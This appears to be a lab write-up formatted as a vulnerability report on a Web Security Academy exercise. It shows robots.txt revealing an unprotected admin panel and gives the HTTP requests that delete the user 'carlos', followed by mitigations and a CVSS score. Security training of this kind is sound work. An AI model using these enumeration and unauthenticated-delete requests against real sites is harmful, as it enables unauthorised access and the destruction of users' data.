

Title of Issue

Broken Access Control — Unprotected Admin Functionality Disclosed via robots.txt

Description

The application exposes an administrative panel at a predictable URL that is not protected by any authentication or authorisation controls. The path to the admin panel is disclosed in the application's `robots.txt` file — intended to instruct web crawlers not to index it. However, `robots.txt` is publicly accessible and acts as an inadvertent roadmap to sensitive functionality. Any unauthenticated user who reads `robots.txt` can discover and directly access the admin panel.

Affected Endpoint: `/administrator-panel` (disclosed in `/robots.txt`) **Missing Control:** Authentication and authorisation checks on admin routes

Steps to Exploit

1. Navigate to `https://<lab-id>.web-security-academy.net/robots.txt`.
2. Observe the `Disallow` directive revealing the admin panel path:

```
User-agent: *  
Disallow: /administrator-panel
```

3. Navigate directly to:

```
https://<lab-id>.web-security-academy.net/administrator-panel
```

4. Observe that the admin panel loads without any authentication prompt.
 5. Locate the **Delete** option for user `carlos` and click it.
 6. The user is deleted and the lab is solved.
-

Proof of Concept

robots.txt disclosure:

```
GET /robots.txt HTTP/1.1  
Host: <lab-id>.web-security-academy.net
```

Response:

```
User-agent: *  
Disallow: /administrator-panel
```

Direct access to admin panel:

```
GET /administrator-panel HTTP/1.1  
Host: <lab-id>.web-security-academy.net
```

Response: HTTP 200 — full admin panel rendered with user management options. No credentials or session required.

Delete user carlos:

```
GET /administrator-panel/delete?username=carlos HTTP/1.1
Host: <lab-id>.web-security-academy.net
```

Response: HTTP 302 — user deleted successfully.

Impact

- Unauthenticated access to administrative functionality.
- Ability to create, modify, or delete any user account.
- Full control over application configuration and data.
- robots.txt provides a free directory enumeration vector — disclosing sensitive paths to any interested party including attackers.

Mitigation / Remediation

1. **Implement server-side authentication and authorisation checks** on all administrative endpoints — never rely on URL obscurity as a security control.
2. **Do not disclose sensitive paths in robots.txt** — if a path must be hidden from crawlers, restrict access via authentication instead.
3. **Enforce role-based access control (RBAC)** — only accounts with the admin role should be able to access admin routes.
4. **Apply defence in depth** — use network-level controls (IP allowlisting, VPN) for administrative interfaces in addition to application-level authentication.
5. **Conduct regular access control audits** to identify unprotected routes.

CVSS Score

CVSS v3.1 Score: 9.8 (Critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Exploitable remotely with a single HTTP request
Attack Complexity	Low	No conditions — just navigate to the URL
Privileges Required	None	No account or credentials needed
User Interaction	None	Fully automated exploitation possible
Scope	Unchanged	Impact within the application
Confidentiality Impact	High	All user data accessible via admin panel
Integrity Impact	High	Admin can modify or delete any data

Availability Impact	High	Admin can delete all users or corrupt the application
---------------------	------	---